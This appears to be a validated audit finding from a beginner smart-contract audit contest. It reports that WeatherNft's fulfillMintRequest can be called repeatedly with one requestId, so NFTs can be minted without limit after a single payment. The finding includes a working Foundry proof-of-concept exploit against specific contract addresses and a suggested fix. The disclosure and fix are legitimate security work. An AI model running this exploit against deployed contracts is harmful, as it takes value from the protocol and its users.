Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unbounded NFT Minting with Single Payment via fulfillMintRequest

Summary

The WeatherNft::fulfillMintRequest function does not prevent multiple executions with the same requestId, allowing anyone to repeatedly call fulfillMintRequest after a single paid mint request. As a result, an attacker can mint unlimited NFTs for free after the initial payment, severely breaking the one-NFT-per-payment guarantee and destroying the scarcity and value of the NFTs.


Vulnerability Details

// @audit-issue No check that fulfillMintRequest can only be called once per requestId
@> function fulfillMintRequest(bytes32 requestId) external {
// ...
}

Issue Identified

  • The contract does not track whether a requestId has already been fulfilled.

  • Anyone (including the original minter) can call fulfillMintRequest multiple times with the same requestId.

  • Each call after the first is effectively free, as only the initial mint required payment.


Risk

Likelihood:

  • Anyone aware of a fulfilled requestId can script multiple calls, leading to fast, repeated free mints.

Impact:

  • Unlimited NFTs can be minted for a single payment, creating free NFTs after the first.

  • This destroys the payment model and completely breaks scarcity, causing financial and reputational harm to the protocol and its users.


Proof of Concept (PoC)

This PoC demonstrates that fulfillMintRequest can be called multiple times with the same requestId, resulting in multiple NFTs minted for the same weather data and payment.

PoC Explanation

  1. An attacker initiates a mint request by calling requestMintWeatherNFT, paying the required mint price and emitting a WeatherNFTMintRequestSent event with the associated requestId.

  2. The Chainlink oracle fulfillment is simulated, making the mint request ready for completion.

  3. The attacker calls fulfillMintRequest with the same requestId to mint the first NFT.

  4. The attacker calls fulfillMintRequest again with the same requestId, successfully minting a second NFT—despite only having paid for one mint.

  5. Because there is no mechanism to prevent multiple fulfillments for the same requestId, this process can be repeated indefinitely, allowing the attacker to mint unlimited NFTs for a single payment.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
import {Test, console} from "forge-std/Test.sol";
import {WeatherNft, WeatherNftStore} from "src/WeatherNft.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/shared/interfaces/LinkTokenInterface.sol";
import {Vm} from "forge-std/Vm.sol";
contract WeatherNftForkTest is Test {
WeatherNft weatherNft;
LinkTokenInterface linkToken;
address functionsRouter;
address attacker = makeAddr("attacker");
function setUp() external {
weatherNft = WeatherNft(0x4fF356bB2125886d048038386845eCbde022E15e);
linkToken = LinkTokenInterface(0x0b9d5D9136855f6FEc3c0993feE6E9CE8a297846);
functionsRouter = 0xA9d587a00A31A52Ed70D6026794a8FC5E2F5dCb0;
vm.deal(attacker, 1000e18);
deal(address(linkToken), attacker, 1000e18);
// Fund the subscription required by Chainlink Functions
vm.prank(attacker);
linkToken.transferAndCall(functionsRouter, 100e18, abi.encode(15459));
}
function test_FulfillMintRequest_MultiMint_Vulnerability() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 5e18;
uint256 tokenId = weatherNft.s_tokenCounter();
// Step 1: Attacker initiates a Weather NFT mint request
vm.startPrank(attacker);
linkToken.approve(address(weatherNft), initLinkDeposit);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{value: weatherNft.s_currentMintPrice()}(
pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit
);
vm.stopPrank();
// Step 2: Extract requestId from the WeatherNFTMintRequestSent event
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (logs[i].topics[0] == keccak256("WeatherNFTMintRequestSent(address,string,string,bytes32)")) {
(,,, reqId) = abi.decode(logs[i].data, (address, string, string, bytes32));
break;
}
}
// Step 3: Simulate successful Chainlink oracle fulfillment
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(WeatherNftStore.Weather.RAINY);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
// Step 4: Attacker calls fulfillMintRequest multiple times with the same requestId
// This should not be possible — however, the contract currently allows it.
vm.startPrank(attacker);
weatherNft.fulfillMintRequest(reqId); // First call, mints NFT
weatherNft.fulfillMintRequest(reqId); // Second call, mints another NFT with the same requestId
vm.stopPrank();
// Step 5: Both NFTs are minted to the attacker, demonstrating the multi-mint vulnerability
vm.assertEq(weatherNft.ownerOf(tokenId), attacker);
vm.assertEq(weatherNft.ownerOf(tokenId + 1), attacker);
}
}

Tools Used

  • Manual Review

  • Foundry Unit Testing


Recommendations

Ensure One-Time Fulfillment

Track fulfillment status for each requestId and prevent duplicate calls:

+ mapping(bytes32 => bool) public fulfilled;
function fulfillMintRequest(bytes32 requestId) external {
+ require(!fulfilled[requestId], "Already fulfilled");
+ fulfilled[requestId] = true;
// ... existing logic ...
}

This ensures each requestId can be used to mint only one NFT, preventing duplication and maintaining NFT scarcity.


Updates

Appeal created

bube Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Multiple tokens for one `requestId`

The `WeatherNFT::fulfillMintRequest` allows a malicious user to call multiple times the function with the same `requestId`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.